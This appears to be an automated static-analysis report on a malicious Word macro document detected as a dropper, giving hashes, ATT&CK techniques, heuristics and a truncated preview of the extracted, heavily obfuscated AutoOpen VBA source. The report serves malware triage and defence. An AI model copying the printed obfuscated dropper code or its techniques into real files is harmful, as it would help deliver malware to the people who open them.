Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 17b5a5f4c150a6dc…

MALICIOUS

Office (OLE)

215.5 KB Created: 2018-03-06 09:27:00 Authoring application: Microsoft Office Word First seen: 2019-11-20
MD5: cae8c0f00d7aab081349442faef93d8c SHA-1: eea712babd4296793d78e5b39218c33febfb8dbb SHA-256: 17b5a5f4c150a6dc078513708aa00f195763b29f809d393cdb5469cdeb340de1
224 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1204.002 Malicious File

The sample is a Microsoft Office document containing a VBA macro. The 'AutoOpen' macro is present and uses 'CreateObject', indicating an attempt to execute code. ClamAV identifies this as a dropper, suggesting it's designed to download and execute further malicious content. The presence of the 'macros.bas' file further supports the macro-based execution.

Heuristics 8

  • ClamAV: Doc.Dropper.Agent-6465721-0 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Dropper.Agent-6465721-0
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • AutoOpen macro high OLE_VBA_AUTOOPEN
    AutoOpen macro
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://schemas.openxmlformats.org/drawingml/2006/main In document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 76235 bytes
SHA-256: cefbef0c2fda203be13c824940a2d401b529e61d65db74c47d798280c71427a6
Detection
ClamAV: No threats found
Obfuscation or payload: likely
Carved artifact contains 26 long base64-like blob(s).
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "VYBShpfINPk"
Function NQoofYa()
On Error Resume Next
lSIQTJDu = "oiwmAHLuwQ7rav%!&&lOcYTVdW"
sCtaKYtNJC = 3770577 / Atn(mwhzRndHszfzh) / (1889677 - woDJjLS / 7219849 - Sqr(pDpsiMDlYQtk * CStr(EoWzsGFaIs / Sgn(2409776 - CDate(8741413 / OwwjiT * 2169339 * Sqr(KNzldfwubQPaUj))))) + (nkSMjJj - 2242118 / 5663470 / CLng(9737852)))
UDliU = 4599610 / Atn(GmomaZhuaZNPaJ) / (6306960 - bwSmihLzLHf / 7540174 - Sqr(CTnFhpHndp * CStr(mpoOW / Sgn(690616 - CDate(7272150 / cAkjjlTZb * 7797301 * Sqr(SuuRYFaJtT))))) + (tzGQzptzd - 1456676 / 4119696 / CLng(1551088)))
kstYUrP = cRDXzVw + dd333h3sd(lSIQTJDu, 8, 9)
sIcHNdM = "oUnN&!%2rav%RKPzTzkuVlBJJFEAzM"
mmrYJzVA = 8088981 / Atn(GUhcSbGbHv) / (3663289 - HNKnwhTwEJPDz / 1997764 - Sqr(WmDWhLJbEnfR * CStr(jBwRhREifRj / Sgn(6061801 - CDate(6777849 / ZwEdfHojpEZlh * 9624875 * Sqr(FzSQlPDMwWfG))))) + (qUXqzT - 6936010 / 5911003 / CLng(9995467)))
wXptK = 1982830 / Atn(JtAMs) / (8402118 - kGtZSNPzcWkGHz / 346771 - Sqr(sUjioNNGFpS * CStr(sOqUGb / Sgn(9195374 - CDate(9945504 / QCKbArN * 8970644 * Sqr(DAHNHrMJHWsmU))))) + (uIENfPzjDC - 3109590 / 5338461 / CLng(3577911)))
YYjNtCjjt = cRmHUNQ + dd333h3sd(sIcHNdM, 19, 8)
uICwHiQiYT = "zlSOdRbLMtLIfpZDJWtYujrJ% tEBvJwRSsLwOR"
CriilZWowrj = 6675259 / Atn(cIatqaI) / (3126350 - fFoFNFfkqJUiW / 3813851 - Sqr(JYECiWa * CStr(jhXPoJzIdtcsw / Sgn(6608802 - CDate(7525213 / MfZJWNjFpLjRWF * 6513619 * Sqr(ELFXpqrbt))))) + (rlubS - 5290989 / 7244793 / CLng(1444826)))
mviPJVcEhQ = 8140659 / Atn(wQXWw) / (3329531 - cZfmXLFokd / 2941590 - Sqr(VowQUW * CStr(LOtHjOPiannjZY / Sgn(3046906 - CDate(2812532 / NPTao * 7449558 * Sqr(wWAUOzACzAF))))) + (jSzXIjf - 92976 / 9396870 / CLng(8890048)))
jZozL = HnVAMLmRw + dd333h3sd(uICwHiQiYT, 13, 9)
ndGiiUlnJr = "wLQwkStpMbwOoZhnsdHK=%GwWsiYVHfJXVVbOzQbSTzTjKG"
FVEQDFf = 9558797 / Atn(MMjpa) / (4319092 - WUfknoQjv / 202280 - Sqr(PBMNvU * CStr(qiFkzNWJXLW / Sgn(3187603 - CDate(7569541 / CAWuVbHzrCH * 9484980 * Sqr(jwqwQLKj))))) + (TmWSNdQFKiNY - 2468205 / 133136 / CLng(7973909)))
Hmfpublawbi = 3733410 / Atn(tXsrCcAwq) / (2523880 - NFEdzOhkXDN / 5798213 - Sqr(lsdjsTvBfqS * CStr(qwQJWVXQjrEa / Sgn(7029137 - CDate(5133270 / TFvWftLFKzQEXR * 6046509 * Sqr(OmqGRRaBhqN))))) + (tnDzRVcwjUmsir - 1072228 / 1944484 / CLng(1042612)))
onjon = iGZzDFDXWbLJJ + dd333h3sd(ndGiiUlnJr, 26, 9)
ilGtElC = "CPjlofpfwQcLjma=%1rav% tlN"
QEYDC = 5676540 / Atn(IlrEY) / (4896396 - bIGjk / 842219 - Sqr(HwvvEIjarmvDA * CStr(mLfKMKqmHNz / Sgn(365986 - CDate(4619129 / DhciMT * 1415591 * Sqr(pQqVW))))) + (uFIUYVpzaYX - 8796366 / 9988886 / CLng(4048447)))
zSXNifif = 8371336 / Atn(wCkbXJJRrjY) / (6748511 - PUroIsBEc / 5565900 - Sqr(QGGEG * CStr(UmLHSnlu / Sgn(1973493 - CDate(6982181 / rdswGbLDjFrcpd * 4079257 * Sqr(hLRDFKYMm))))) + (OwhFtwIFN - 9974093 / 7018232 / CLng(1042744)))
cGZHkESliz = AzEJpntT + dd333h3sd(ilGtElC, 3, 9)
zKsjNLnRVP = "MULUXizvizG%3rav% tes&&XjuifozhsnTDfhWiwZLqNmCVM"
HANJfjWJHaE = 5365378 / Atn(jIznQYXvab) / (9727513 - bjAIN / 8888794 - Sqr(RcbzzvPcBnuH * CStr(wMMmztQErGza / Sgn(7805640 - CDate(8294002 / AacTjfKwHIBsA * 9140381 * Sqr(HjTMFPWOK))))) + (dlZViZIE - 4216581 / 5304223 / CLng(5250248)))
HthlXqCKOC = 2137607 / Atn(bFmOEdvBQI) / (4082238 - RGbliiLSwCulcd / 6707028 - Sqr(niTuwFsGTBRkP * CStr(McEWNTjS / Sgn(8349867 - CDate(9504826 / tcZLBlb * 8995445 * Sqr(OmoaC))))) + (OUSdMbC - 6073245 / 8008786 / CLng(3429664)))
pfAOm = ivAaNc + dd333h3sd(zKsjNLnRVP, 24, 14)
htHkDazLk = "KIGLVPzWTkBpNaZXoPYZ% tes&&s=%4ravCqDFaf"
dpJGQ = 384425 / Atn(WUPSqwTqZajClC) / (2360529 - DaqbUOnHS / 3745605 - Sqr(CNUXVpNJOlfvir * CStr(mApjiQwPwaZ / Sgn(5181981 - CDate(6054037 / hHzXBR * 5653196 * Sqr(DKMYs))))) + (lXfHkocmSmliFz - 4493143 / 9434693 / CLng(9318524)))
SXktoWXIwlw = 2864926 / Atn(ChdfYhZChzi) / (3800409 - XzdYuR / 8257
... (truncated)

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